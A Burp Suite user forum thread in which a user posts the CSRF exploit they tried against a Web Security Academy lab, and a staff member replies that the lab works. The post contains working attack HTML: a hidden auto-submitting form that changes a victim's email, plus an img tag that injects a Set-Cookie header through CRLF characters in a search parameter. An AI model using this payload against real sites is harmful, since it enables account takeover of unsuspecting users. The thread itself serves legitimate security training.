Research Academy
My account Customers About Blog Careers Legal Contact Resellers

Burp Suite User Forum

Create new post

CSRF problem with lab

Mikaelvel | Last updated: Jun 06, 2023 07:35AM UTC

the lab called "CSRF where token is tied to non-session cookie" https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-tied-to-non-session-cookie has a problem.I put this code on the body of the exploit server: <form method="POST" action="https://0ae300ed04eebac78068441f004f0080.web-security-academy.net/my-account/change-email"> <input type="hidden" name="email" value="jdoe12@yahoo-inc.com"> <input type="hidden" name="csrf" value="wzWIDkw0aOBNNUBUyD1sgFLTzjeElNtP"> </form> <img src="0ae300ed04eebac78068441f004f0080.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=c0xweRhOMWdP9tsggvcxVm7ETKsMzOV5%3b%20SameSite=None" onerror="document.forms[0].submit()"> when I press view exploit the email changes and everything looks fine.But, when I press deliver exploit to victim, for some reason the lab isn't solved.

Dominyque, PortSwigger Agent | Last updated: Jun 06, 2023 08:50AM UTC

Hi We have tested the lab ourselves and can confirm that it works as it should. Have you tried following the community solution videos?

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.